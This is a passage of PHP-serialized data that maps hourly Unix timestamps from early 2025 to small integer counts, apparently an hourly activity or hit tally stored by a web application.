:1:{i:0;i:23;}i:1736726400;a:1:{i:0;i:5;}i:1736730000;a:1:{i:0;i:16;}i:1736733600;a:1:{i:0;i:7;}i:1736737200;a:1:{i:0;i:12;}i:1736740800;a:1:{i:0;i:35;}i:1736744400;a:1:{i:0;i:19;}i:1736748000;a:1:{i:0;i:12;}i:1736751600;a:1:{i:0;i:13;}i:1736755200;a:1:{i:0;i:12;}i:1736758800;a:1:{i:0;i:11;}i:1736762400;a:1:{i:0;i:28;}i:1736766000;a:1:{i:0;i:8;}i:1736769600;a:1:{i:0;i:11;}i:1736773200;a:1:{i:0;i:5;}i:1736776800;a:1:{i:0;i:35;}i:1736780400;a:1:{i:0;i:1;}i:1736784000;a:1:{i:0;i:6;}i:1736787600;a:1:{i:0;i:5;}i:1736791200;a:1:{i:0;i:7;}i:1736794800;a:1:{i:0;i:4;}i:1736798400;a:1:{i:0;i:6;}i:1736802000;a:1:{i:0;i:4;}i:1736805600;a:1:{i:0;i:1;}i:1736809200;a:1:{i:0;i:6;}i:1736812800;a:1:{i:0;i:2;}i:1736816400;a:1:{i:0;i:4;}i:1736820000;a:1:{i:0;i:3;}i:1736823600;a:1:{i:0;i:4;}i:1736827200;a:1:{i:0;i:4;}i:1736830800;a:1:{i:0;i:4;}i:1736834400;a:1:{i:0;i:6;}i:1736838000;a:1:{i:0;i:6;}i:1736841600;a:1:{i:0;i:7;}i:1736845200;a:1:{i:0;i:8;}i:1736848800;a:1:{i:0;i:10;}i:1736852400;a:1:{i:0;i:10;}i:1736856000;a:1:{i:0;i:22;}i:1736859600;a:1:{i:0;i:8;}i:1736863200;a:1:{i:0;i:19;}i:1736866800;a:1:{i:0;i:9;}i:1736870400;a:1:{i:0;i:11;}i:1736874000;a:1:{i:0;i:10;}i:1736877600;a:1:{i:0;i:10;}i:1736881200;a:1:{i:0;i:10;}i:1736884800;a:1:{i:0;i:5;}i:1736888400;a:1:{i:0;i:12;}i:1736892000;a:1:{i:0;i:4;}i:1736895600;a:1:{i:0;i:4;}i:1736899200;a:1:{i:0;i:12;}i:1736902800;a:1:{i:0;i:3;}i:1736906400;a:1:{i:0;i:11;}i:1736910000;a:1:{i:0;i:1;}i:1736913600;a:1:{i:0;i:3;}i:1736917200;a:1:{i:0;i:13;}i:1736920800;a:1:{i:0;i:15;}i:1736924400;a:1:{i:0;i:7;}i:1736928000;a:1:{i:0;i:9;}i:1736931600;a:1:{i:0;i:9;}i:1736935200;a:1:{i:0;i:23;}i:1736938800;a:1:{i:0;i:10;}i:1736942400;a:1:{i:0;i:30;}i:1736946000;a:1:{i:0;i:7;}i:1736949600;a:1:{i:0;i:22;}i:1736953200;a:1:{i:0;i:10;}i:1736956800;a:1:{i:0;i:19;}i:1736960400;a:1:{i:0;i:6;}i:1736964000;a:1:{i:0;i:22;}i:1736967600;a:1:{i:0;i:6;}i:1736971200;a:1:{i:0;i:4;}i:1736974800;a:1:{i:0;i:18;}i:1736978400;a:1:{i:0;i:4;}i:1736982000;a:1:{i:0;i:18;}i:1736989200;a:1:{i:0;i:11;}i:1736992800;a:1:{i:0;i:2;}i:1736996400;a:1:{i:0;i:22;}i:1737000000;a:1:{i:0;i:4;}i:1737003600;a:1:{i:0;i:10;}i:1737007200;a:1:{i:0;i:2;}i:1737010800;a:1:{i:0;i:3;}i:1737014400;a:1:{i:0;i:1;}i:1737018000;a:1:{i:0;i:6;}i:1737021600;a:1:{i:0;i:9;}i:1737025200;a:1:{i:0;i:4;}i:1737028800;a:1:{i:0;i:3;}i:1737032400;a:1:{i:0;i:3;}i:1737036000;a:1:{i:0;i:4;}i:1737039600;a:1:{i:0;i:4;}i:1737043200;a:1:{i:0;i:3;}i:1737046800;a:1:{i:0;i:5;}i:1737050400;a:1:{i:0;i:13;}i:1737054000;a:1:{i:0;i:18;}i:1737057600;a:1:{i:0;i:15;}i:1737061200;a:1:{i:0;i:4;}i:1737064800;a:1:{i:0;i:9;}i:1737068400;a:1:{i:0;i:4;}i:1737072000;a:1:{i:0;i:7;}i:1737075600;a:1:{i:0;i:3;}i:1737079200;a:1:{i:0;i:4;}i:1737082800;a:1:{i:0;i:5;}i:1737086400;a:1:{i:0;i:12;}i:1737090000;a:1:{i:0;i:10;}i:1737108000;a:1:{i:0;i:1;}i:1737111600;a:1:{i:0;i:3;}i:1737115200;a:1:{i:0;i:4;}i:1737118800;a:1:{i:0;i:3;}i:1737122400;a:1:{i:0;i:3;}i:1737126000;a:1:{i:0;i:3;}i:1737129600;a:1:{i:0;i:4;}i:1737140400;a:1:{i:0;i:1;}i:1737144000;a:1:{i:0;i:1;}i:1737147600;a:1:{i:0;i:2;}i:1737154800;a:1:{i:0;i:1;}i:1737158400;a:1:{i:0;i:1;}i:1737162000;a:1:{i:0;i:1;}i:1737165600;a:1:{i:0;i:2;}i:1737169200;a:1:{i:0;i:1;}i:1737172800;a:1:{i:0;i:3;}i:1737176400;a:1:{i:0;i:2;}i:1737180000;a:1:{i:0;i:1;}i:1737183600;a:1:{i:0;i:8;}i:1737187200;a:1:{i:0;i:13;}i:1737190800;a:1:{i:0;i:18;}i:1737194400;a:1:{i:0;i:10;}i:1737198000;a:1:{i:0;i:23;}i:1737201600;a:1:{i:0;i:22;}i:1737205200;a:1:{i:0;i:12;}i:1737208800;a:1:{i:0;i:23;}i:1737212400;a:1:{i:0;i:5;}i:1737216000;a:1:{i:0;i:7;}i:1737219600;a:1:{i:0;i:3;}i:1737223200;a:1:{i:0;i:26;}i:1737226800;a:1:{i:0;i:24;}i:1737234000;a:1:{i:0;i:15;}i:1737241200;a:1:{i:0;i:6;}i:1737244800;a:1:{i:0;i:8;}i:1737248400;a:1:{i:0;i:16;}i:1737252000;a:1:{i:0;i:9;}i:1737255600;a:1:{i:0;i:5;}i:1737259200;a:1:{i:0;i:6;}i:1737262800;a:1:{i:0;i:6;}i:1737266400;a:1:{i:0;i:5;}i:1737270000;a:1:{i:0;i:1;}i:1737273600;a:1:{i:0;i:28;}i:1737280800;a:1:{i:0;i:17;}i:1737284400;a:1:{i:0;i:11;}i:1737291600;a:1:{i:0;i:9;}i:1737295200;a:1:{i:0;i:11;}i:1737306000;a:1:{i:0;i:1;}i:1737313200;a:1:{i:0;i:1;}i:1737320400;a:1:{i:0;i:1;}i:1737324000;a:1:{i:0;i:2;}i:1737327600;a:1:{i:0;i:13;}i:1737331200;a:1:{i:0;i:1;}i:1737334800;a:1:{i:0;i:2;}i:1737342000;a:1:{i:0;i:1;}i:1737352800;a:1:{i:0;i:4;}i:1737356400;a:1:{i:0;i:12;}i:1737360000;a:1:{i:0;i:5;}i:1737370800;a:1:{i:0;i:1;}i:1737378000;a:1:{i:0;i:3;}i:1737381600;a:1:{i:0;i:18;}i:1737385200;a:1:{i:0;i:7;}i:1737388800;a:1:{i:0;i:15;}i:1737392400;a:1:{i:0;i:13;}i:1737396000;a:1:{i:0;i:23;}i:1737399600;a:1:{i:0;i:16;}i:1737403200;a:1:{i:0;i:1;}i:1737406800;a:1:{i:0;i:15;}i:1737410400;a:1:{i:0;i:11;}i:1737414000;a:1:{i:0;i:2;}i:1737417600;a:1:{i:0;i:12;}i:1737424800;a:1:{i:0;i:16;}i:1737428400;a:1:{i:0;i:1;}i:1737432000;a:1:{i:0;i:14;}i:1737435600;a:1:{i:0;i:27;}i:1737439200;a:1:{i:0;i:12;}i:1737442800;a:1:{i:0;i:68;}i:1737446400;a:1:{i:0;i:3;}i:1737450000;a:1:{i:0;i:1;}i:1737457200;a:1:{i:0;i:8;}i:1737460800;a:1:{i:0;i:4;}i:1737464400;a:1:{i:0;i:11;}i:1737468000;a:1:{i:0;i:7;}i:1737471600;a:1:{i:0;i:7;}i:1737475200;a:1:{i:0;i:7;}i:1737478800;a:1:{i:0;i:10;}i:1737482400;a:1:{i:0;i:9;}i:1737486000;a:1:{i:0;i:7;}i:1737489600;a:1:{i:0;i:6;}i:1737493200;a:1:{i:0;i:6;}i:1737496800;a:1:{i:0;i:7;}i:1737500400;a:1:{i:0;i:6;}i:1737504000;a:1:{i:0;i:4;}i:1737511200;a:1:{i:0;i:6;}i:1737514800;a:1:{i:0;i:5;}i:1737518400;a:1:{i:0;i:4;}i:1737522000;a:1:{i:0;i:6;}i:1737525600;a:1:{i:0;i:6;}i:1737529200;a:1:{i:0;i:4;}i:1737532800;a:1:{i:0;i:5;}i:1737536400;a:1:{i:0;i:3;}i:1737540000;a:1:{i:0;i:5;}i:1737543600;a:1:{i:0;i:4;}i:1737547200;a:1:{i:0;i:6;}i:1737550800;a:1:{i:0;i:7;}i:1737554400;a:1:{i:0;i:4;}i:1737558000;a:1:{i:0;i:5;}i:1737561600;a:1:{i:0;i:5;}i:1737565200;a:1:{i:0;i:6;}i:1737568800;a:1:{i:0;i:17;}i:1737572400;a:1:{i:0;i:5;}i:1737576000;a:1:{i:0;i:5;}i:1737579600;a:1:{i:0;i:6;}i:1737583200;a:1:{i:0;i:5;}i:1737586800;a:1:{i:0;i:6;}i:1737590400;a:1:{i:0;i:3;}i:1737594000;a:1:{i:0;i:2;}i:1737597600;a:1:{i:0;i:1;}i:1737601200;a:1:{i:0;i:1;}i:1737604800;a:1:{i:0;i:2;}i:1737612000;a:1:{i:0;i:1;}i:1737615600;a:1:{i:0;i:1;}i:1737619200;a:1:{i:0;i:3;}i:1737622800;a:1:{i:0;i:1;}i:1737626400;a:1:{i:0;i:1;}i:1737630000;a:1:{i:0;i:2;}i:1737633600;a:1:{i:0;i:2;}i:1737640800;a:1:{i:0;i:1;}i:1737644400;a:1:{i:0;i:1;}i:1737648000;a:1:{i:0;i:1;}i:1737651600;a:1:{i:0;i:1;}i:1737655200;a:1:{i:0;i:1;}i:1737658800;a:1:{i:0;i:7;}i:1737662400;a:1:{i:0;i:7;}i:1737666000;a:1:{i:0;i:1;}i:1737669600;a:1:{i:0;i:1;}i:1737676800;a:1:{i:0;i:2;}i:1737680400;a:1:{i:0;i:1;}i:1737684000;a:1:{i:0;i:4;}i:1737691200;a:1:{i:0;i:1;}i:1737694800;a:1:{i:0;i:2;}i:1737698400;a:1:{i:0;i:2;}i:1737702000;a:1:{i:0;i:1;}i:1737709200;a:1:{i:0;i:1;}i:1737712800;a:1:{i:0;i:1;}i:1737716400;a:1:{i:0;i:1;}i:1737720000;a:1:{i:0;i:2;}i:1737723600;a:1:{i:0;i:2;}i:1737727200;a:1:{i:0;i:1;}i:1737730800;a:1:{i:0;i:1;}i:1737734400;a:1:{i:0;i:1;}i:1737741600;a:1:{i:0;i:2;}i:1737745200;a:1:{i:0;i:1;}i:1737748800;a:1:{i:0;i:1;}i:1737752400;a:1:{i:0;i:1;}i:1737756000;a:1:{i:0;i:4;}i:1737759600;a:1:{i:0;i:1;}i:1737763200;a:1:{i:0;i:2;}i:1737766800;a:1:{i:0;i:1;}i:1737770400;a:1:{i:0;i:1;}i:1737774000;a:1:{i:0;i:1;}i:1737777600;a:1:{i:0;i:4;}i:1737781200;a:1:{i:0;i:2;}i:1737784800;a:1:{i:0;i:1;}i:1737788400;a:1:{i:0;i:10;}i:1737792000;a:1:{i:0;i:4;}i:1737799200;a:1:{i:0;i:2;}i:1737802800;a:1:{i:0;i:2;}i:1737806400;a:1:{i:0;i:1;}i:1737810000;a:1:{i:0;i:1;}i:1737813600;a:1:{i:0;i:1;}i:1737817200;a:1:{i:0;i:1;}i:1737820800;a:1:{i:0;i:6;}i:1737824400;a:1:{i:0;i:11;}i:1737831600;a:1:{i:0;i:2;}i:1737835200;a:1:{i:0;i:2;}i:1737838800;a:1:{i:0;i:1;}i:1737842400;a:1:{i:0;i:1;}i:1737846000;a:1:{i:0;i:1;}i:1737849600;a:1:{i:0;i:1;}i:1737853200;a:1:{i:0;i:1;}i:1737856800;a:1:{i:0;i:5;}i:1737860400;a:1:{i:0;i:4;}i:1737864000;a:1:{i:0;i:1;}i:1737867600;a:1:{i:0;i:1;}i:1737871200;a:1:{i:0;i:1;}i:1737874800;a:1:{i:0;i:1;}i:1737878400;a:1:{i:0;i:1;}i:1737882000;a:1:{i:0;i:1;}i:1737885600;a:1:{i:0;i:1;}i:1737889200;a:1:{i:0;i:1;}i:1737892800;a:1:{i:0;i:1;}i:1737896400;a:1:{i:0;i:1;}i:1737903600;a:1:{i:0;i:1;}i:1737907200;a:1:{i:0;i:1;}i:1737910800;a:1:{i:0;i:1;}i:1737914400;a:1:{i:0;i:1;}i:1737918000;a:1:{i:0;i:1;}i:1737921600;a:1:{i:0;i:1;}i:1737925200;a:1:{i:0;i:1;}i:1737932400;a:1:{i:0;i:1;}i:1737936000;a:1:{i:0;i:1;}i:1737939600;a:1:{i:0;i:2;}i:1737943200;a:1:{i:0;i:1;}i:1737946800;a:1:{i:0;i:1;}i:1737950400;a:1:{i:0;i:6;}i:1737954000;a:1:{i:0;i:8;}i:1737957600;a:1:{i:0;i:8;}i:1737961200;a:1:{i:0;i:4;}i:1737964800;a:1:{i:0;i:6;}i:1737968400;a:1:{i:0;i:4;}i:1737972000;a:1:{i:0;i:5;}i:1737975600;a:1:{i:0;i:5;}i:1737979200;a:1:{i:0;i:8;}i:1737982800;a:1:{i:0;i:7;}i:1737986400;a:1:{i:0;i:4;}i:1737990000;a:1:{i:0;i:4;}i:1737993600;a:1:{i:0;i:4;}i:1737997200;a:1:{i:0;i:5;}i:1738000800;a:1:{i:0;i:2;}i:1738004400;a:1:{i:0;i:4;}i:1738008000;a:1:{i:0;i:4;}i:1738011600;a:1:{i:0;i:12;}i:1738015200;a:1:{i:0;i:10;}i:1738018800;a:1:{i:0;i:3;}i:1738022400;a:1:{i:0;i:5;}i:1738026000;a:1:{i:0;i:4;}i:1738029600;a:1:{i:0;i:3;}i:1738033200;a:1:{i:0;i:6;}i:1738036800;a:1:{i:0;i:9;}i:1738040400;a:1:{i:0;i:8;}i:1738044000;a:1:{i:0;i:7;}i:1738047600;a:1:{i:0;i:5;}i:1738051200;a:1:{i:0;i:7;}i:1738054800;a:1:{i:0;i:6;}i:1738058400;a:1:{i:0;i:6;}i:1738062000;a:1:{i:0;i:17;}i:1738065600;a:1:{i:0;i:9;}i:1738069200;a:1:{i:0;i:3;}i:1738076400;a:1:{i:0;i:1;}i:1738098000;a:1:{i:0;i:1;}i:1738112400;a:1:{i:0;i:3;}i:1738123200;a:1:{i:0;i:1;}i:1738130400;a:1:{i:0;i:4;}i:1738148400;a:1:{i:0;i:1;}i:1738155600;a:1:{i:0;i:5;}i:1738159200;a:1:{i:0;i:6;}i:1738162800;a:1:{i:0;i:6;}i:1738166400;a:1:{i:0;i:5;}i:1738170000;a:1:{i:0;i:4;}i:1738173600;a:1:{i:0;i:7;}i:1738177200;a:1:{i:0;i:7;}i:1738180800;a:1:{i:0;i:5;}i:1738184400;a:1:{i:0;i:4;}i:1738188000;a:1:{i:0;i:6;}i:1738191600;a:1:{i:0;i:5;}i:1738195200;a:1:{i:0;i:4;}i:1738198800;a:1:{i:0;i:4;}i:1738202400;a:1:{i:0;i:5;}i:1738206000;a:1:{i:0;i:6;}i:1738209600;a:1:{i:0;i:1;}i:1738213200;a:1:{i:0;i:12;}i:1738216800;a:1:{i:0;i:3;}i:1738238400;a:1:{i:0;i:3;}i:1738242000;a:1:{i:0;i:12;}i:1738245600;a:1:{i:0;i:3;}i:1738263600;a:1:{i:0;i:1;}i:1738274400;a:1:{i:0;i:1;}i:1738296000;a:1:{i:0;i:1;}i:1738303200;a:1:{i:0;i:3;}i:1738306800;a:1:{i:0;i:1;}i:1738314000;a:1:{i:0;i:3;}i:1738332000;a:1:{i:0;i:1;}i:1738353600;a:1:{i:0;i:1;}i:1738357200;a:1:{i:0;i:9;}i:1738360800;a:1:{i:0;i:6;}i:1738378800;a:1:{i:0;i:3;}i:1738404000;a:1:{i:0;i:6;}i:1738407600;a:1:{i:0;i:9;}i:1738432800;a:1:{i:0;i:9;}i:1738436400;a:1:{i:0;i:6;}i:1738447200;a:1:{i:0;i:1;}i:1738461600;a:1:{i:0;i:1;}i:1738476000;a:1:{i:0;i:1;}i:1738490400;a:1:{i:0;i:1;}i:1738504800;a:1:{i:0;i:3;}i:1738512000;a:1:{i:0;i:1;}i:1738522800;a:1:{i:0;i:3;}i:1738533600;a:1:{i:0;i:1;}i:1738555200;a:1:{i:0;i:1;}i:1738562400;a:1:{i:0;i:1;}i:1738584000;a:1:{i:0;i:1;}i:1738598400;a:1:{i:0;i:1;}i:1738612800;a:1:{i:0;i:1;}i:1738616400;a:1:{i:0;i:9;}i:1738620000;a:1:{i:0;i:3;}i:1738634400;a:1:{i:0;i:3;}i:1738638000;a:1:{i:0;i:5;}i:1738641600;a:1:{i:0;i:6;}i:1738645200;a:1:{i:0;i:8;}i:1738648800;a:1:{i:0;i:7;}i:1738652400;a:1:{i:0;i:6;}i:1738656000;a:1:{i:0;i:6;}i:1738659600;a:1:{i:0;i:6;}i:1738663200;a:1:{i:0;i:3;}i:1738666800;a:1:{i:0;i:1;}i:1738674000;a:1:{i:0;i:2;}i:1738677600;a:1:{i:0;i:5;}i:1738688400;a:1:{i:0;i:5;}i:1738692000;a:1:{i:0;i:12;}i:1738710000;a:1:{i:0;i:1;}i:1738724400;a:1:{i:0;i:5;}i:1738728000;a:1:{i:0;i:4;}i:1738735200;a:1:{i:0;i:2;}i:1738738800;a:1:{i:0;i:3;}i:1738742400;a:1:{i:0;i:4;}i:1738746000;a:1:{i:0;i:5;}i:1738749600;a:1:{i:0;i:8;}i:1738753200;a:1:{i:0;i:5;}i:1738756800;a:1:{i:0;i:6;}i:1738760400;a:1:{i:0;i:6;}i:1738764000;a:1:{i:0;i:4;}i:1738767600;a:1:{i:0;i:4;}i:1738774800;a:1:{i:0;i:4;}i:1738778400;a:1:{i:0;i:1;}i:1738785600;a:1:{i:0;i:1;}i:1738792800;a:1:{i:0;i:1;}i:1738796400;a:1:{i:0;i:1;}i:1738800000;a:1:{i:0;i:1;}i:1738807200;a:1:{i:0;i:1;}i:1738810800;a:1:{i:0;i:3;}i:1738814400;a:1:{i:0;i:10;}i:1738818000;a:1:{i:0;i:19;}i:1738821600;a:1:{i:0;i:9;}i:1738825200;a:1:{i:0;i:8;}i:1738828800;a:1:{i:0;i:8;}i:1738832400;a:1:{i:0;i:8;}i:1738836000;a:1:{i:0;i:8;}i:1738839600;a:1:{i:0;i:8;}i:1738843200;a:1:{i:0;i:6;}i:1738846800;a:1:{i:0;i:8;}i:1738850400;a:1:{i:0;i:8;}i:1738854000;a:1:{i:0;i:4;}i:1738857600;a:1:{i:0;i:2;}i:1738861200;a:1:{i:0;i:3;}i:1738864800;a:1:{i:0;i:1;}i:1738868400;a:1:{i:0;i:4;}i:1738872000;a:1:{i:0;i:2;}i:1738879200;a:1:{i:0;i:2;}i:1738882800;a:1:{i:0;i:11;}i:1738886400;a:1:{i:0;i:10;}i:1738890000;a:1:{i:0;i:8;}i:1738893600;a:1:{i:0;i:8;}i:1738897200;a:1:{i:0;i:7;}i:1738900800;a:1:{i:0;i:8;}i:1738904400;a:1:{i:0;i:10;}i:1738908000;a:1:{i:0;i:8;}i:1738911600;a:1:{i:0;i:9;}i:1738915200;a:1:{i:0;i:9;}i:1738918800;a:1:{i:0;i:4;}i:1738922400;a:1:{i:0;i:4;}i:1738926000;a:1:{i:0;i:4;}i:1738929600;a:1:{i:0;i:3;}i:1738933200;a:1:{i:0;i:5;}i:1738940400;a:1:{i:0;i:4;}i:1738944000;a:1:{i:0;i:4;}i:1738947600;a:1:{i:0;i:1;}i:1738969200;a:1:{i:0;i:1;}i:1738987200;a:1:{i:0;i:4;}i:1738990800;a:1:{i:0;i:1;}i:1738994400;a:1:{i:0;i:6;}i:1738998000;a:1:{i:0;i:7;}i:1739001600;a:1:{i:0;i:9;}i:1739005200;a:1:{i:0;i:8;}i:1739008800;a:1:{i:0;i:9;}i:1739012400;a:1:{i:0;i:8;}i:1739016000;a:1:{i:0;i:9;}i:1739019600;a:1:{i:0;i:7;}i:1739023200;a:1:{i:0;i:7;}i:1739026800;a:1:{i:0;i:9;}i:1739030400;a:1:{i:0;i:6;}i:1739037600;a:1:{i:0;i:1;}i:1739041200;a:1:{i:0;i:2;}i:1739044800;a:1:{i:0;i:1;}i:1739048400;a:1:{i:0;i:3;}i:1739052000;a:1:{i:0;i:1;}i:1739055600;a:1:{i:0;i:1;}i:1739059200;a:1:{i:0;i:1;}i:1739066400;a:1:{i:0;i:2;}i:1739070000;a:1:{i:0;i:2;}i:1739073600;a:1:{i:0;i:1;}i:1739077200;a:1:{i:0;i:1;}i:1739080800;a:1:{i:0;i:9;}i:1739084400;a:1:{i:0;i:9;}i:1739088000;a:1:{i:0;i:24;}i:1739091600;a:1:{i:0;i:11;}i:1739095200;a:1:{i:0;i:10;}i:1739098800;a:1:{i:0;i:7;}i:1739102400;a:1:{i:0;i:6;}i:1739106000;a:1:{i:0;i:8;}i:1739109600;a:1:{i:0;i:5;}i:1739113200;a:1:{i:0;i:5;}i:1739116800;a:1:{i:0;i:8;}i:1739120400;a:1:{i:0;i:9;}i:1739124000;a:1:{i:0;i:7;}i:1739127600;a:1:{i:0;i:6;}i:1739131200;a:1:{i:0;i:7;}i:1739134800;a:1:{i:0;i:7;}i:1739138400;a:1:{i:0;i:18;}i:1739142000;a:1:{i:0;i:7;}i:1739145600;a:1:{i:0;i:12;}i:1739149200;a:1:{i:0;i:10;}i:1739152800;a:1:{i:0;i:10;}i:1739156400;a:1:{i:0;i:13;}i:1739160000;a:1:{i:0;i:16;}i:1739163600;a:1:{i:0;i:11;}i:1739167200;a:1:{i:0;i:10;}i:1739170800;a:1:{i:0;i:11;}i:1739174400;a:1:{i:0;i:12;}i:1739178000;a:1:{i:0;i:10;}i:1739181600;a:1:{i:0;i:8;}i:1739185200;a:1:{i:0;i:11;}i:1739188800;a:1:{i:0;i:10;}i:1739192400;a:1:{i:0;i:10;}i:1739196000;a:1:{i:0;i:7;}i:1739199600;a:1:{i:0;i:5;}i:1739203200;a:1:{i:0;i:13;}i:1739206800;a:1:{i:0;i:12;}i:1739210400;a:1:{i:0;i:4;}i:1739214000;a:1:{i:0;i:4;}i:1739217600;a:1:{i:0;i:5;}i:1739221200;a:1:{i:0;i:2;}i:1739224800;a:1:{i:0;i:2;}i:1739228400;a:1:{i:0;i:2;}i:1739232000;a:1:{i:0;i:3;}i:1739235600;a:1:{i:0;i:1;}i:1739239200;a:1:{i:0;i:4;}i:1739242800;a:1:{i:0;i:4;}i:1739246400;a:1:{i:0;i:3;}i:1739250000;a:1:{i:0;i:12;}i:1739253600;a:1:{i:0;i:7;}i:1739257200;a:1:{i:0;i:5;}i:1739260800;a:1:{i:0;i:3;}i:1739264400;a:1:{i:0;i:5;}i:1739268000;a:1:{i:0;i:3;}i:1739271600;a:1:{i:0;i:17;}i:1739275200;a:1:{i:0;i:14;}i:1739278800;a:1:{i:0;i:11;}i:1739282400;a:1:{i:0;i:15;}i:1739286000;a:1:{i:0;i:17;}i:1739289600;a:1:{i:0;i:20;}i:1739293200;a:1:{i:0;i:18;}i:1739296800;a:1:{i:0;i:16;}i:1739300400;a:1:{i:0;i:12;}i:1739304000;a:1:{i:0;i:7;}i:1739307600;a:1:{i:0;i:11;}i:1739311200;a:1:{i:0;i:6;}i:1739314800;a:1:{i:0;i:5;}i:1739318400;a:1:{i:0;i:6;}i:1739322000;a:1:{i:0;i:4;}i:1739325600;a:1:{i:0;i:10;}i:1739329200;a:1:{i:0;i:2;}i:1739332800;a:1:{i:0;i:9;}i:1739336400;a:1:{i:0;i:7;}i:1739340000;a:1:{i:0;i:10;}i:1739343600;a:1:{i:0;i:14;}i:1739347200;a:1:{i:0;i:15;}i:1739350800;a:1:{i:0;i:16;}i:1739354400;a:1:{i:0;i:14;}i:1739358000;a:1:{i:0;i:12;}i:1739361600;a:1:{i:0;i:6;}i:1739365200;a:1:{i:0;i:13;}i:1739368800;a:1:{i:0;i:20;}i:1739372400;a:1:{i:0;i:20;}i:1739376000;a:1:{i:0;i:11;}i:1739379600;a:1:{i:0;i:4;}i:1739383200;a:1:{i:0;i:7;}i:1739386800;a:1:{i:0;i:5;}i:1739390400;a:1:{i:0;i:8;}i:1739394000;a:1:{i:0;i:3;}i:1739397600;a:1:{i:0;i:5;}i:1739401200;a:1:{i:0;i:6;}i:1739404800;a:1:{i:0;i:8;}i:1739408400;a:1:{i:0;i:7;}i:1739412000;a:1:{i:0;i:5;}i:1739415600;a:1:{i:0;i:7;}i:1739419200;a:1:{i:0;i:6;}i:1739422800;a:1:{i:0;i:12;}i:1739426400;a:1:{i:0;i:13;}i:1739430000;a:1:{i:0;i:17;}i:1739433600;a:1:{i:0;i:14;}i:1739437200;a:1:{i:0;i:12;}i:1739440800;a:1:{i:0;i:11;}i:1739444400;a:1:{i:0;i:10;}i:1739448000;a:1:{i:0;i:7;}i:1739451600;a:1:{i:0;i:17;}i:1739455200;a:1:{i:0;i:13;}i:1739458800;a:1:{i:0;i:3;}i:1739462400;a:1:{i:0;i:9;}i:1739466000;a:1:{i:0;i:10;}i:1739469600;a:1:{i:0;i:15;}i:1739473200;a:1:{i:0;i:15;}i:1739476800;a:1:{i:0;i:5;}i:1739480400;a:1:{i:0;i:10;}i:1739484000;a:1:{i:0;i:13;}i:1739487600;a:1:{i:0;i:4;}i:1739491200;a:1:{i:0;i:3;}i:1739494800;a:1:{i:0;i:6;}i:1739498400;a:1:{i:0;i:11;}i:1739502000;a:1:{i:0;i:13;}i:1739505600;a:1:{i:0;i:7;}i:1739509200;a:1:{i:0;i:15;}i:1739512800;a:1:{i:0;i:20;}i:1739516400;a:1:{i:0;i:34;}i:1739520000;a:1:{i:0;i:26;}i:1739523600;a:1:{i:0;i:20;}i:1739527200;a:1:{i:0;i:20;}i:1739530800;a:1:{i:0;i:22;}i:1739534400;a:1:{i:0;i:17;}i:1739538000;a:1:{i:0;i:11;}i:1739541600;a:1:{i:0;i:5;}i:1739545200;a:1:{i:0;i:4;}i:1739548800;a:1:{i:0;i:12;}i:1739552400;a:1:{i:0;i:8;}i:1739556000;a:1:{i:0;i:10;}i:1739559600;a:1:{i:0;i:10;}i:1739563200;a:1:{i:0;i:11;}i:1739566800;a:1:{i:0;i:7;}i:1739570400;a:1:{i:0;i:11;}i:1739574000;a:1:{i:0;i:6;}i:1739577600;a:1:{i:0;i:9;}i:1739581200;a:1:{i:0;i:5;}i:1739584800;a:1:{i:0;i:9;}i:1739588400;a:1:{i:0;i:6;}i:1739592000;a:1:{i:0;i:9;}i:1739595600;a:1:{i:0;i:6;}i:1739599200;a:1:{i:0;i:12;}i:1739602800;a:1:{i:0;i:8;}i:1739606400;a:1:{i:0;i:7;}i:1739610000;a:1:{i:0;i:14;}i:1739613600;a:1:{i:0;i:10;}i:1739617200;a:1:{i:0;i:8;}i:1739620800;a:1:{i:0;i:19;}i:1739624400;a:1:{i:0;i:5;}i:1739628000;a:1:{i:0;i:9;}i:1739631600;a:1:{i:0;i:8;}i:1739635200;a:1:{i:0;i:7;}i:1739638800;a:1:{i:0;i:8;}i:1739642400;a:1:{i:0;i:49;}i:1739646000;a:1:{i:0;i:29;}i:1739649600;a:1:{i:0;i:75;}i:1739653200;a:1:{i:0;i:36;}i:1739656800;a:1:{i:0;i:64;}i:1739660400;a:1:{i:0;i:47;}i:1739664000;a:1:{i:0;i:57;}i:1739667600;a:1:{i:0;i:24;}i:1739671200;a:1:{i:0;i:49;}i:1739674800;a:1:{i:0;i:36;}i:1739678400;a:1:{i:0;i:44;}i:1739682000;a:1:{i:0;i:52;}i:1739685600;a:1:{i:0;i:29;}i:1739689200;a:1:{i:0;i:9;}i:1739692800;a:1:{i:0;i:31;}i:1739696400;a:1:{i:0;i:41;}i:1739700000;a:1:{i:0;i:24;}i:1739703600;a:1:{i:0;i:13;}i:1739707200;a:1:{i:0;i:37;}i:1739710800;a:1:{i:0;i:36;}i:1739714400;a:1:{i:0;i:33;}i:1739718000;a:1:{i:0;i:36;}i:1739721600;a:1:{i:0;i:30;}i:1739725200;a:1:{i:0;i:25;}i:1739728800;a:1:{i:0;i:17;}i:1739732400;a:1:{i:0;i:27;}i:1739736000;a:1:{i:0;i:45;}i:1739739600;a:1:{i:0;i:29;}i:1739743200;a:1:{i:0;i:12;}i:1739746800;a:1:{i:0;i:26;}i:1739750400;a:1:{i:0;i:54;}i:1739754000;a:1:{i:0;i:21;}i:1739757600;a:1:{i:0;i:25;}i:1739761200;a:1:{i:0;i:6;}i:1739764800;a:1:{i:0;i:7;}i:1739768400;a:1:{i:0;i:7;}i:1739772000;a:1:{i:0;i:6;}i:1739775600;a:1:{i:0;i:2;}i:1739779200;a:1:{i:0;i:24;}i:1739782800;a:1:{i:0;i:32;}i:1739786400;a:1:{i:0;i:23;}i:1739790000;a:1:{i:0;i:17;}i:1739793600;a:1:{i:0;i:15;}i:1739797200;a:1:{i:0;i:16;}i:1739800800;a:1:{i:0;i:14;}i:1739804400;a:1:{i:0;i:15;}i:1739808000;a:1:{i:0;i:18;}i:1739811600;a:1:{i:0;i:19;}i:1739815200;a:1:{i:0;i:13;}i:1739818800;a:1:{i:0;i:3;}i:1739826000;a:1:{i:0;i:1;}i:1739829600;a:1:{i:0;i:1;}i:1739833200;a:1:{i:0;i:2;}i:1739836800;a:1:{i:0;i:1;}i:1739840400;a:1:{i:0;i:3;}i:1739844000;a:1:{i:0;i:2;}i:1739847600;a:1:{i:0;i:7;}i:1739851200;a:1:{i:0;i:19;}i:1739854800;a:1:{i:0;i:26;}i:1739858400;a:1:{i:0;i:2;}i:1739862000;a:1:{i:0;i:21;}i:1739865600;a:1:{i:0;i:14;}i:1739869200;a:1:{i:0;i:12;}i:1739872800;a:1:{i:0;i:12;}i:1739876400;a:1:{i:0;i:9;}i:1739880000;a:1:{i: